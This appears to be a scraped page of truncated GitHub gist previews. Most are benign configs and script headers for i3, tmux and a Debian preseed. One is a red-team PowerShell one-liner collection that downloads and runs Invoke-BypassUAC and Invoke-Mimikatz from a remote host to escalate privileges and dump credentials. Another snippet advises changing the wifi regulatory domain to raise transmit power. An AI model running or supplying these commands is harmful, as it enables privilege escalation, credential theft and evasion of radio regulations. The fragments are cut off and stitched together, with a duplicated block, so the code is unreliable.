Set TX Power to 30 dBm
First, obtain the country the adapter is set to:
iw reg get
If not already set, change the regulatory domain to one of the following: BO, BZ, GY, NZ, VE
set -e | |
set -u | |
# hat-tips: | |
# - http://codeghar.wordpress.com/2011/12/14/automated-customized-debian-installation-using-preseed/ | |
# - the gist | |
# required packages (apt-get install) | |
# xorriso |
@echo off | |
:::::::::::::::::::::::::::: | |
set "params=Problem_with_elevating_UAC_for_Administrator_Privileges"&if exist "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" | |
fsutil dirty query %systemdrive% >nul 2>&1 && goto :GotPrivileges | |
:: The following test is to avoid infinite looping if elevating UAC for Administrator Privileges failed | |
If "%1"=="%params%" (echo Elevating UAC for Administrator Privileges failed&echo Right click on the script and select 'Run as administrator'&echo Press any key to exit...&pause>nul 2>&1&exit) | |
cmd /u /c echo Set UAC = CreateObject^("Shell.Application"^) : UAC.ShellExecute "%~0", "%params%", "", "runas", 1 > "%temp%\getadmin.vbs"&cscript //nologo "%temp%\getadmin.vbs"&exit | |
:GotPrivileges | |
:::::::::::::::::::::::::::: | |
color 1F |
# Description: | |
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing. | |
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command] | |
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'" | |
# Invoke-Mimikatz: Dump credentials from memory | |
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" | |
# Import Mimikatz Module to run further commands |
Set TX Power to 30 dBm
First, obtain the country the adapter is set to:
iw reg get
If not already set, change the regulatory domain to one of the following: BO, BZ, GY, NZ, VE
# in a shell: | |
tmux set -g prefix2 C-a | |
tmux bind-key C-a send-prefix -2 | |
# or in a ~/.tmux.conf | |
set -g prefix2 C-a | |
bind-key C-a send-prefix -2 |
#!/usr/bin/python | |
import socket | |
import struct | |
import sys | |
# We want unbuffered stdout so we can provide live feedback for | |
# each TTL. You could also use the "-u" flag to Python. | |
class flushfile(file): | |
def __init__(self, f): |
general { | |
colors = true | |
color_good = "#6666FF" | |
color_degraded = "#660099" | |
color_bad = "#FF0066" | |
color_separator = "#333333" | |
interval = 5 | |
} | |
order += "ipv6" |
set $mod Mod4 | |
#font -misc-fixed-medium-r-normal--13-120-75-75-C-70-iso10646-1 | |
font -windows-proggytiny-medium-r-normal--10-80-96-96-*-60-*-* | |
# font xft:DejaVu Sans Mono 10 | |
new_window none | |
bindsym $mod+t border normal | |
bindsym $mod+y border 1pixel | |
bindsym $mod+u border none |